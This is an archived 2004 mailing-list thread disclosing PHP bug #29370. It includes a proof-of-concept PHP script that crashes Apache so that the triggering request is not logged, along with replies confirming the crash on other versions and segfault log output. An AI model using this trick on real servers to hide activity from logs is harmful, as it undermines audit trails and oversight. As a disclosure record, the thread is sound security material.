[PHP Bug] How to hide a HTTP request in the apache logs

[Anthony Debhian]

Author: Debhian ( anthony.debhian -AT- only-for.info )
PHP Bug #29370



Description:
With a certain code, PHP causes a segfault in Apache and the request is not logged.
This bug (under Windows) causes an error fatal of apache BUT the server is not stopped with this code.
The bug seems to work on all config (php4 / php5 && windows / unix)



Tested system:
Windows / Apache 1.3.31 / PHP 5.0.0
Windows / Apache 1.3.27 / PHP 4.3.3
Linux / Apache 1.3.24 / PHP 4.2.1



Proof of concept:

<?
function funcfunc($array,$space="")
{
foreach($array as $key=>$value) { if(is_array($array[$key])) { $src.=$key; } }
return $src;
}

function funcfunc2($array,$test)
{
foreach($array['test'] as $key=>$value) { }
return $array;
}

$test['debhy']['debhou']="test1";
$test['debhian']['debh']="test2";
$array=funcfunc($test);
$array=funcfunc2($array,"test");
?>



Solution:
The php team has not answered the posted bug yet.

[Steve Brown]

>Author: Debhian ( anthony.debhian -AT- only-for.info )
>
>PHP Bug #29370
>
Confirmed this bug is present with PHP 4.3.8 + Apache 2.0.50 + Redhat
9. Comments added to PHP Bugtraq.

[Max Valdez]

works on Apache/2.0.50 PHP 4.3.8
over gentoo.

The subject is a little bit missleading, because the user has to be able to
insert the code under documento root. Cant see any security concern on that
code with social engeniering not involved.

Max

--
Linux garaged 2.6.7-rc3-mm2 #2 Sat Jun 19 15:43:32 CDT 2004 i686 Intel(R)
Pentium(R) 4 CPU 2.80GHz GenuineIntel GNU/Linux
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GS/S d- s: a-29 C++(+++) ULAHI+++ P+ L++>+++ E--- W++ N* o-- K- w++++ O- M--
V-- PS+ PE Y-- PGP++ t- 5- X+ R tv++ b+ DI+++ D- G++ e++ h+ r+ z**
------END GEEK CODE BLOCK------
gpg-key: http://garaged.homeip.net/gpg-key.txt

[tosundaram@gmail.com]

anthony.debhian@only-for.info (Anthony Debhian) wrote in message news:<cf3569$1aji$1@FreeBSD.csie.NCTU.edu.tw>...
> Author: Debhian ( anthony.debhian -AT- only-for.info )
> PHP Bug #29370
>
>
>
> Description:
> With a certain code, PHP causes a segfault in Apache and the request is not logged.
> This bug (under Windows) causes an error fatal of apache BUT the server is not stopped with this code.
> The bug seems to work on all config (php4 / php5 && windows / unix)
>
>
>
> Tested system:
> Windows / Apache 1.3.31 / PHP 5.0.0
> Windows / Apache 1.3.27 / PHP 4.3.3
> Linux / Apache 1.3.24 / PHP 4.2.1
>
>
>
> Proof of concept:
>
> <?
> function funcfunc($array,$space="")
> {
> foreach($array as $key=>$value) { if(is_array($array[$key])) { $src.=$key; } }
> return $src;
> }
>
> function funcfunc2($array,$test)
> {
> foreach($array['test'] as $key=>$value) { }
> return $array;
> }
>
> $test['debhy']['debhou']="test1";
> $test['debhian']['debh']="test2";
> $array=funcfunc($test);
> $array=funcfunc2($array,"test");
> ?>
>
>
>
> Solution:
> The php team has not answered the posted bug yet.

I test this in Suse 9.1

apache 2 compile with perfork


error.log

[Tue Aug 10 15:15:09 2004] [notice] child pid 3454 exit signal
Segmentation fault (11)
[Tue Aug 10 15:15:09 2004] [notice] child pid 3457 exit signal
Segmentation fault (11)